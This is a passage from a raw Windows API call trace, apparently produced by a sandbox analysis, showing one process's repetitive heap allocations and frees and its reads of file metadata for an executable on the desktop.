lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0075.602] GetLastError () returned 0x0 [0075.602] GetLastError () returned 0x0 [0075.602] GetCurrentThreadId () returned 0x9b0 [0075.602] GetLastError () returned 0x0 [0075.602] GetCurrentThreadId () returned 0x9b0 [0075.602] GetCurrentThreadId () returned 0x9b0 [0075.602] GetLastError () returned 0x0 [0075.602] GetLastError () returned 0x0 [0075.602] GetCurrentThreadId () returned 0x9b0 [0075.602] GetLastError () returned 0x0 [0075.602] GetCurrentThreadId () returned 0x9b0 [0075.602] GetLastError () returned 0x0 [0075.603] GetLastError () returned 0x0 [0075.603] GetCurrentThreadId () returned 0x9b0 [0075.603] GetLastError () returned 0x0 [0075.603] GetCurrentThreadId () returned 0x9b0 [0075.603] GetLastError () returned 0x0 [0075.603] GetLastError () returned 0x0 [0075.603] GetCurrentThreadId () returned 0x9b0 [0075.603] GetLastError () returned 0x0 [0075.603] GetLastError () returned 0x0 [0075.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.603] CloseHandle (hObject=0x2f0) returned 1 [0075.603] GetLastError () returned 0x0 [0075.603] GetCurrentThreadId () returned 0x9b0 [0075.603] GetLastError () returned 0x0 [0075.603] GetLastError () returned 0x0 [0075.604] GetCurrentThreadId () returned 0x9b0 [0075.604] GetLastError () returned 0x0 [0075.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334ee68 | out: hHeap=0x2ad0000) returned 1 [0075.604] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32f0a60, Size=0x1b1) returned 0x32f0a60 [0075.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.604] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84398, Size=0x20) returned 0x30284e0 [0075.604] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a18c20 [0075.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18c20 | out: hHeap=0x2ad0000) returned 1 [0075.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0a60 | out: hHeap=0x2ad0000) returned 1 [0075.604] GetCurrentThreadId () returned 0x9b0 [0075.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e2aa8 [0075.605] GetCurrentThreadId () returned 0x9b0 [0075.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.605] GetCurrentThreadId () returned 0x9b0 [0075.605] GetCurrentThreadId () returned 0x9b0 [0075.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x33507b8 [0075.605] GetCurrentThreadId () returned 0x9b0 [0075.605] GetCurrentThreadId () returned 0x9b0 [0075.605] GetCurrentThreadId () returned 0x9b0 [0075.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de928 [0075.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de928 | out: hHeap=0x2ad0000) returned 1 [0075.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de650 [0075.605] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de650, Size=0x14) returned 0x3183c00 [0075.605] GetCurrentThreadId () returned 0x9b0 [0075.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c00 | out: hHeap=0x2ad0000) returned 1 [0075.605] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33507b8 | out: hHeap=0x2ad0000) returned 1 [0075.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.606] GetCurrentThreadId () returned 0x9b0 [0075.607] GetLastError () returned 0x0 [0075.607] GetLastError () returned 0x0 [0075.607] GetLastError () returned 0x0 [0075.607] GetLastError () returned 0x0 [0075.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32aba70 [0075.607] GetLastError () returned 0x0 [0075.607] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8bc8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.607] GetFileType (hFile=0x2f0) returned 0x1 [0075.607] GetLastError () returned 0x0 [0075.607] GetCurrentThreadId () returned 0x9b0 [0075.607] GetLastError () returned 0x0 [0075.607] GetFileType (hFile=0x2f0) returned 0x1 [0075.607] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9b8c44 | out: lpFileInformation=0x9b8c44) returned 1 [0075.607] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c58, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0075.607] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0075.608] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c50, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0075.608] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0075.608] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c48, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0075.608] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0075.608] GetLastError () returned 0x0 [0075.608] GetCurrentThreadId () returned 0x9b0 [0075.608] GetLastError () returned 0x0 [0075.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.608] GetLastError () returned 0x0 [0075.608] GetLastError () returned 0x0 [0075.608] GetCurrentThreadId () returned 0x9b0 [0075.608] GetLastError () returned 0x0 [0075.608] GetCurrentThreadId () returned 0x9b0 [0075.608] GetLastError () returned 0x0 [0075.608] GetLastError () returned 0x0 [0075.608] GetCurrentThreadId () returned 0x9b0 [0075.608] GetLastError () returned 0x0 [0075.609] GetCurrentThreadId () returned 0x9b0 [0075.609] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c9) returned 0x3350e70 [0075.609] GetLastError () returned 0x0 [0075.609] GetLastError () returned 0x0 [0075.609] GetCurrentThreadId () returned 0x9b0 [0075.609] GetLastError () returned 0x0 [0075.609] GetCurrentThreadId () returned 0x9b0 [0075.609] GetCurrentThreadId () returned 0x9b0 [0075.609] GetLastError () returned 0x0 [0075.609] GetLastError () returned 0x0 [0075.609] GetCurrentThreadId () returned 0x9b0 [0075.609] GetLastError () returned 0x0 [0075.609] GetLastError () returned 0x0 [0075.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.609] CloseHandle (hObject=0x2f0) returned 1 [0075.609] GetLastError () returned 0x0 [0075.610] GetCurrentThreadId () returned 0x9b0 [0075.610] GetLastError () returned 0x0 [0075.610] GetLastError () returned 0x0 [0075.610] GetCurrentThreadId () returned 0x9b0 [0075.610] GetLastError () returned 0x0 [0075.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3351148 | out: hHeap=0x2ad0000) returned 1 [0075.610] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32f0a60, Size=0x6b4) returned 0x32f0a60 [0075.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350e70 | out: hHeap=0x2ad0000) returned 1 [0075.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.610] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84158, Size=0x20) returned 0x3028378 [0075.610] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028378, Size=0x40) returned 0x2a18e18 [0075.610] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a197a8 [0075.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0075.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0a60 | out: hHeap=0x2ad0000) returned 1 [0075.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e2178 [0075.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183a60 [0075.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abae0 [0075.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.611] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abae0, Size=0x14) returned 0x3183ae0 [0075.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0075.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ae0 | out: hHeap=0x2ad0000) returned 1 [0075.611] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a874b0, Size=0x8c) returned 0x2cb89e8 [0075.611] GetCurrentThreadId () returned 0x9b0 [0075.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183ae0 [0075.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abac0 [0075.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.611] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abac0, Size=0x14) returned 0x3183980 [0075.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84188 | out: hHeap=0x2ad0000) returned 1 [0075.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ae0 | out: hHeap=0x2ad0000) returned 1 [0075.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183980 | out: hHeap=0x2ad0000) returned 1 [0075.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x31839a0 [0075.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843c8 [0075.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0075.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.612] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abaf0, Size=0x14) returned 0x3183ae0 [0075.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843c8 | out: hHeap=0x2ad0000) returned 1 [0075.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31839a0 | out: hHeap=0x2ad0000) returned 1 [0075.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.612] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ae0 | out: hHeap=0x2ad0000) returned 1 [0075.612] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337d980 | out: hHeap=0x2ad0000) returned 1 [0075.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337d980 | out: hHeap=0x2ad0000) returned 1 [0075.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337d980 | out: hHeap=0x2ad0000) returned 1 [0075.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337d980 | out: hHeap=0x2ad0000) returned 1 [0075.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337d980 | out: hHeap=0x2ad0000) returned 1 [0075.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337d980 | out: hHeap=0x2ad0000) returned 1 [0075.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337d980 | out: hHeap=0x2ad0000) returned 1 [0075.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337d980 | out: hHeap=0x2ad0000) returned 1 [0075.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183980 [0075.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.614] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183be0 [0075.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb50 | out: hHeap=0x2ad0000) returned 1 [0075.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84158 | out: hHeap=0x2ad0000) returned 1 [0075.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183980 | out: hHeap=0x2ad0000) returned 1 [0075.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0075.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x337d980 | out: hHeap=0x2ad0000) returned 1 [0075.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x337d980 [0075.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183be0 [0075.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843c8 [0075.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.615] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x31838c0 [0075.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843c8 | out: hHeap=0x2ad0000) returned 1 [0075.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0075.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838c0 | out: hHeap=0x2ad0000) returned 1 [0075.615] GetCurrentThreadId () returned 0x9b0 [0075.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.615] GetCurrentThreadId () returned 0x9b0 [0075.615] GetCurrentThreadId () returned 0x9b0 [0075.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.616] GetCurrentThreadId () returned 0x9b0 [0075.616] GetCurrentThreadId () returned 0x9b0 [0075.616] GetCurrentThreadId () returned 0x9b0 [0075.616] GetCurrentThreadId () returned 0x9b0 [0075.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.616] GetCurrentThreadId () returned 0x9b0 [0075.616] GetCurrentThreadId () returned 0x9b0 [0075.616] GetCurrentThreadId () returned 0x9b0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] GetLastError () returned 0x0 [0075.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.616] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abaa0 [0075.616] GetLastError () returned 0x0 [0075.616] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b8bc8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0075.617] GetFileType (hFile=0x2f0) returned 0x1 [0075.617] GetLastError () returned 0x0 [0075.617] GetCurrentThreadId () returned 0x9b0 [0075.617] GetLastError () returned 0x0 [0075.617] GetFileType (hFile=0x2f0) returned 0x1 [0075.617] GetFileInformationByHandle (in: hFile=0x2f0, lpFileInformation=0x9b8c44 | out: lpFileInformation=0x9b8c44) returned 1 [0075.617] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c58, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0075.617] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0075.617] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c50, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0075.617] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0075.617] FileTimeToLocalFileTime (in: lpFileTime=0x9b8c48, lpLocalFileTime=0x9b8c88 | out: lpLocalFileTime=0x9b8c88) returned 1 [0075.617] FileTimeToSystemTime (in: lpFileTime=0x9b8c88, lpSystemTime=0x9b8c78 | out: lpSystemTime=0x9b8c78) returned 1 [0075.617] GetLastError () returned 0x0 [0075.617] GetCurrentThreadId () returned 0x9b0 [0075.617] GetLastError () returned 0x0 [0075.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaa0 | out: hHeap=0x2ad0000) returned 1 [0075.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0075.617] GetLastError () returned 0x0 [0075.617] GetLastError () returned 0x0 [0075.618] GetCurrentThreadId () returned 0x9b0 [0075.618] GetLastError () returned 0x0 [0075.618] GetCurrentThreadId () returned 0x9b0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetCurrentThreadId () returned 0x9b0 [0075.618] GetLastError () returned 0x0 [0075.618] GetCurrentThreadId () returned 0x9b0 [0075.618] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1eff) returned 0x3350e70 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetCurrentThreadId () returned 0x9b0 [0075.618] GetLastError () returned 0x0 [0075.618] GetCurrentThreadId () returned 0x9b0 [0075.618] GetLastError () returned 0x0 [0075.618] GetLastError () returned 0x0 [0075.618] GetCurrentThreadId () returned 0x9b0 [0075.618] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.619] CloseHandle (hObject=0x2f0) returned 1 [0075.619] GetLastError () returned 0x0 [0075.619] GetCurrentThreadId () returned 0x9b0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetCurrentThreadId () returned 0x9b0 [0075.619] GetLastError () returned 0x0 [0075.619] GetLastError () returned 0x0 [0075.619] GetCurrentThreadId () returned 0x9b0 [0075.619] GetLastError () returned 0x0 [0075.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f6658 | out: hHeap=0x2ad0000) returned 1 [0075.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0a60 | out: hHeap=0x2ad0000) returned 1 [0075.619] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32fe660, Size=0x578b) returned 0x32fe660 [0075.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350e70 | out: hHeap=0x2ad0000) returned 1 [0075.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x294) returned 0x3350e70 [0075.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84290 [0075.620] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84290, Size=0x20) returned 0x3028490 [0075.620] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028490, Size=0x40) returned 0x2a19250 [0075.620] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19738 [0075.620] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19738, Size=0x8c) returned 0x2ac0d38 [0075.620] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0d38, Size=0xb8) returned 0x2cde1e8 [0075.620] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde1e8, Size=0xe8) returned 0x325a7b0 [0075.620] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325a7b0, Size=0x120) returned 0x2c374c0 [0075.620] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x325efd8 [0075.621] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325efd8, Size=0x1a8) returned 0x3029018 [0075.621] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3029018, Size=0x1f8) returned 0x2c313d8 [0075.621] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c313d8, Size=0x250) returned 0x2ac4228 [0075.621] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4228, Size=0x2b4) returned 0x2c2bc10 [0075.621] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2bc10, Size=0x324) returned 0x2bab5e0 [0075.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x31a) returned 0x3351110 [0075.621] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, 